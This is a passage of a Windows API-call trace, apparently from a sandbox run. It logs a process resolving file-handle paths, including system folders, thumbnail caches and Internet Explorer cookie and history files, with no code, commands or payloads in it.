lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0083.821] CloseHandle (hObject=0x128) returned 1 [0083.821] GetFileType (hFile=0x120) returned 0x1 [0083.821] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0083.823] CloseHandle (hObject=0x120) returned 1 [0083.823] GetFileType (hFile=0x128) returned 0x1 [0083.823] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0083.825] CloseHandle (hObject=0x128) returned 1 [0083.825] GetFileType (hFile=0x120) returned 0x1 [0083.825] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0083.827] CloseHandle (hObject=0x120) returned 1 [0083.827] GetFileType (hFile=0x128) returned 0x1 [0083.827] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251") returned 0x64 [0083.828] CloseHandle (hObject=0x128) returned 1 [0083.829] GetFileType (hFile=0x120) returned 0x1 [0083.829] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt") returned 0x4b [0083.834] CloseHandle (hObject=0x120) returned 1 [0083.834] GetFileType (hFile=0x128) returned 0x1 [0083.834] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0083.835] CloseHandle (hObject=0x128) returned 1 [0083.836] GetFileType (hFile=0x120) returned 0x1 [0083.836] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat") returned 0x70 [0083.838] CloseHandle (hObject=0x120) returned 1 [0083.839] GetFileType (hFile=0x128) returned 0x1 [0083.839] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0083.840] CloseHandle (hObject=0x128) returned 1 [0083.840] GetFileType (hFile=0x120) returned 0x0 [0083.840] CloseHandle (hObject=0x120) returned 1 [0083.841] GetFileType (hFile=0x128) returned 0x1 [0083.841] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\ActionCenter.dll.mui") returned 0x32 [0083.908] CloseHandle (hObject=0x128) returned 1 [0083.908] GetFileType (hFile=0x120) returned 0x1 [0083.908] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0083.910] CloseHandle (hObject=0x120) returned 1 [0083.910] GetFileType (hFile=0x128) returned 0x3 [0083.910] CloseHandle (hObject=0x128) returned 1 [0083.910] GetFileType (hFile=0x120) returned 0x3 [0083.910] CloseHandle (hObject=0x120) returned 1 [0083.911] GetFileType (hFile=0x128) returned 0x1 [0083.911] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0083.913] CloseHandle (hObject=0x128) returned 1 [0083.913] GetFileType (hFile=0x120) returned 0x1 [0083.913] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0083.915] CloseHandle (hObject=0x120) returned 1 [0083.915] GetFileType (hFile=0x128) returned 0x1 [0083.915] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0083.917] CloseHandle (hObject=0x128) returned 1 [0083.918] GetFileType (hFile=0x120) returned 0x1 [0083.918] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0083.920] CloseHandle (hObject=0x120) returned 1 [0083.920] GetFileType (hFile=0x128) returned 0x1 [0083.920] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0083.922] CloseHandle (hObject=0x128) returned 1 [0083.922] GetFileType (hFile=0x120) returned 0x1 [0083.922] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0083.924] CloseHandle (hObject=0x120) returned 1 [0083.924] GetFileType (hFile=0x128) returned 0x1 [0083.925] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0083.928] CloseHandle (hObject=0x128) returned 1 [0083.928] GetFileType (hFile=0x120) returned 0x1 [0083.928] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0083.930] CloseHandle (hObject=0x120) returned 1 [0083.930] GetFileType (hFile=0x128) returned 0x1 [0083.930] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0083.932] CloseHandle (hObject=0x128) returned 1 [0083.933] GetFileType (hFile=0x120) returned 0x1 [0083.933] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0083.935] CloseHandle (hObject=0x120) returned 1 [0083.935] GetFileType (hFile=0x128) returned 0x1 [0083.935] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0083.937] CloseHandle (hObject=0x128) returned 1 [0083.937] GetFileType (hFile=0x120) returned 0x3 [0083.937] CloseHandle (hObject=0x120) returned 1 [0083.937] GetFileType (hFile=0x128) returned 0x1 [0083.938] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0083.940] CloseHandle (hObject=0x128) returned 1 [0083.940] GetFileType (hFile=0x120) returned 0x1 [0083.940] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat") returned 0x55 [0083.944] CloseHandle (hObject=0x120) returned 1 [0083.944] GetFileType (hFile=0x128) returned 0x1 [0083.945] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat") returned 0x5f [0083.947] CloseHandle (hObject=0x128) returned 1 [0083.947] GetFileType (hFile=0x120) returned 0x1 [0083.947] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012020022120200222\\index.dat") returned 0x78 [0083.950] CloseHandle (hObject=0x120) returned 1 [0083.950] GetFileType (hFile=0x128) returned 0x1 [0083.950] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0083.952] CloseHandle (hObject=0x128) returned 1 [0083.952] GetFileType (hFile=0x120) returned 0x0 [0083.952] CloseHandle (hObject=0x120) returned 1 [0083.952] GetFileType (hFile=0x128) returned 0x0 [0083.952] CloseHandle (hObject=0x128) returned 1 [0083.952] GetFileType (hFile=0x120) returned 0x1 [0083.953] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\KernelBase.dll.mui") returned 0x30 [0083.954] CloseHandle (hObject=0x120) returned 1 [0083.955] GetFileType (hFile=0x128) returned 0x1 [0083.955] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msutb.dll.mui") returned 0x2b [0083.957] CloseHandle (hObject=0x128) returned 1 [0083.957] GetFileType (hFile=0x120) returned 0x1 [0083.957] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0083.958] CloseHandle (hObject=0x120) returned 1 [0083.958] GetFileType (hFile=0x128) returned 0x0 [0083.959] CloseHandle (hObject=0x128) returned 1 [0083.959] GetFileType (hFile=0x120) returned 0x1 [0083.959] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0083.960] CloseHandle (hObject=0x120) returned 1 [0083.960] GetFileType (hFile=0x128) returned 0x1 [0083.960] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Journal") returned 0x24 [0083.961] CloseHandle (hObject=0x128) returned 1 [0083.961] GetFileType (hFile=0x120) returned 0x1 [0083.962] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0083.963] CloseHandle (hObject=0x120) returned 1 [0083.963] GetFileType (hFile=0x128) returned 0x1 [0083.963] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Uninstall Information") returned 0x2a [0083.964] CloseHandle (hObject=0x128) returned 1 [0083.964] GetFileType (hFile=0x120) returned 0x1 [0083.964] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0083.965] CloseHandle (hObject=0x120) returned 1 [0083.966] GetFileType (hFile=0x128) returned 0x1 [0083.966] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Sidebar") returned 0x24 [0083.967] CloseHandle (hObject=0x128) returned 1 [0083.967] GetFileType (hFile=0x120) returned 0x1 [0083.967] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0083.968] CloseHandle (hObject=0x120) returned 1 [0083.968] GetFileType (hFile=0x128) returned 0x1 [0083.969] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Sidebar") returned 0x24 [0083.969] CloseHandle (hObject=0x128) returned 1 [0083.970] GetFileType (hFile=0x120) returned 0x1 [0083.970] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0083.971] CloseHandle (hObject=0x120) returned 1 [0083.971] GetFileType (hFile=0x128) returned 0x1 [0083.971] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0083.973] CloseHandle (hObject=0x128) returned 1 [0083.973] GetFileType (hFile=0x120) returned 0x1 [0083.973] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0083.974] CloseHandle (hObject=0x120) returned 1 [0083.974] GetFileType (hFile=0x128) returned 0x1 [0083.974] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Media Player") returned 0x29 [0083.975] CloseHandle (hObject=0x128) returned 1 [0083.975] GetFileType (hFile=0x120) returned 0x1 [0083.975] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0083.976] CloseHandle (hObject=0x120) returned 1 [0083.977] GetFileType (hFile=0x128) returned 0x1 [0083.977] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\DVD Maker") returned 0x1e [0083.978] CloseHandle (hObject=0x128) returned 1 [0083.978] GetFileType (hFile=0x120) returned 0x1 [0083.978] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0083.979] CloseHandle (hObject=0x120) returned 1 [0083.979] GetFileType (hFile=0x128) returned 0x1 [0083.979] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services") returned 0x36 [0083.980] CloseHandle (hObject=0x128) returned 1 [0083.980] GetFileType (hFile=0x120) returned 0x1 [0083.981] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0083.982] CloseHandle (hObject=0x120) returned 1 [0083.982] GetFileType (hFile=0x128) returned 0x1 [0083.982] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Journal") returned 0x24 [0083.983] CloseHandle (hObject=0x128) returned 1 [0083.983] GetFileType (hFile=0x120) returned 0x1 [0083.983] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0083.984] CloseHandle (hObject=0x120) returned 1 [0083.985] GetFileType (hFile=0x128) returned 0x1 [0083.985] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies") returned 0x2f [0083.986] CloseHandle (hObject=0x128) returned 1 [0083.986] GetFileType (hFile=0x120) returned 0x1 [0083.986] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0083.987] CloseHandle (hObject=0x120) returned 1 [0083.987] GetFileType (hFile=0x128) returned 0x1 [0083.992] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Maintenance Service") returned 0x36 [0083.993] CloseHandle (hObject=0x128) returned 1 [0083.993] GetFileType (hFile=0x120) returned 0x1 [0083.993] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0083.994] CloseHandle (hObject=0x120) returned 1 [0083.994] GetFileType (hFile=0x128) returned 0x1 [0083.994] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0083.995] CloseHandle (hObject=0x128) returned 1 [0083.996] GetFileType (hFile=0x120) returned 0x1 [0083.996] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0083.997] CloseHandle (hObject=0x120) returned 1 [0083.997] GetFileType (hFile=0x128) returned 0x1 [0083.997] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Common Files") returned 0x21 [0083.998] CloseHandle (hObject=0x128) returned 1 [0083.998] GetFileType (hFile=0x120) returned 0x1 [0083.998] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0083.999] CloseHandle (hObject=0x120) returned 1 [0084.000] GetFileType (hFile=0x128) returned 0x1 [0084.000] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned 0x34 [0084.001] CloseHandle (hObject=0x128) returned 1 [0084.001] GetFileType (hFile=0x120) returned 0x1 [0084.001] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.002] CloseHandle (hObject=0x120) returned 1 [0084.002] GetFileType (hFile=0x128) returned 0x1 [0084.002] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices") returned 0x33 [0084.004] CloseHandle (hObject=0x128) returned 1 [0084.004] GetFileType (hFile=0x120) returned 0x1 [0084.004] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.006] CloseHandle (hObject=0x120) returned 1 [0084.006] GetFileType (hFile=0x128) returned 0x1 [0084.006] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Common Files") returned 0x27 [0084.007] CloseHandle (hObject=0x128) returned 1 [0084.007] GetFileType (hFile=0x120) returned 0x1 [0084.007] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.008] CloseHandle (hObject=0x120) returned 1 [0084.009] GetFileType (hFile=0x128) returned 0x1 [0084.009] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0084.010] CloseHandle (hObject=0x128) returned 1 [0084.010] GetFileType (hFile=0x120) returned 0x1 [0084.010] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.014] CloseHandle (hObject=0x120) returned 1 [0084.014] GetFileType (hFile=0x128) returned 0x1 [0084.015] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0084.015] CloseHandle (hObject=0x128) returned 1 [0084.016] GetFileType (hFile=0x120) returned 0x1 [0084.016] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.017] CloseHandle (hObject=0x120) returned 1 [0084.017] GetFileType (hFile=0x128) returned 0x1 [0084.017] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0084.018] CloseHandle (hObject=0x128) returned 1 [0084.018] GetFileType (hFile=0x120) returned 0x1 [0084.018] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.020] CloseHandle (hObject=0x120) returned 1 [0084.020] GetFileType (hFile=0x128) returned 0x1 [0084.021] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Office") returned 0x2b [0084.021] CloseHandle (hObject=0x128) returned 1 [0084.022] GetFileType (hFile=0x120) returned 0x1 [0084.022] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.023] CloseHandle (hObject=0x120) returned 1 [0084.023] GetFileType (hFile=0x128) returned 0x1 [0084.023] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0084.024] CloseHandle (hObject=0x128) returned 1 [0084.024] GetFileType (hFile=0x120) returned 0x1 [0084.024] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.025] CloseHandle (hObject=0x120) returned 1 [0084.025] GetFileType (hFile=0x128) returned 0x1 [0084.025] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Synchronization Services") returned 0x37 [0084.026] CloseHandle (hObject=0x128) returned 1 [0084.026] GetFileType (hFile=0x120) returned 0x1 [0084.026] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.027] CloseHandle (hObject=0x120) returned 1 [0084.028] GetFileType (hFile=0x128) returned 0x1 [0084.028] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\MSBuild") returned 0x22 [0084.029] CloseHandle (hObject=0x128) returned 1 [0084.029] GetFileType (hFile=0x120) returned 0x1 [0084.029] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.030] CloseHandle (hObject=0x120) returned 1 [0084.030] GetFileType (hFile=0x128) returned 0x1 [0084.030] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft.NET") returned 0x28 [0084.031] CloseHandle (hObject=0x128) returned 1 [0084.031] GetFileType (hFile=0x120) returned 0x1 [0084.031] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.032] CloseHandle (hObject=0x120) returned 1 [0084.032] GetFileType (hFile=0x128) returned 0x1 [0084.032] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Portable Devices") returned 0x2d [0084.033] CloseHandle (hObject=0x128) returned 1 [0084.033] GetFileType (hFile=0x120) returned 0x1 [0084.033] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.046] CloseHandle (hObject=0x120) returned 1 [0084.046] GetFileType (hFile=0x128) returned 0x1 [0084.046] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0084.047] CloseHandle (hObject=0x128) returned 1 [0084.047] GetFileType (hFile=0x120) returned 0x1 [0084.047] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0084.048] CloseHandle (hObject=0x120) returned 1 [0084.048] GetFileType (hFile=0x128) returned 0x1 [0084.048] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: 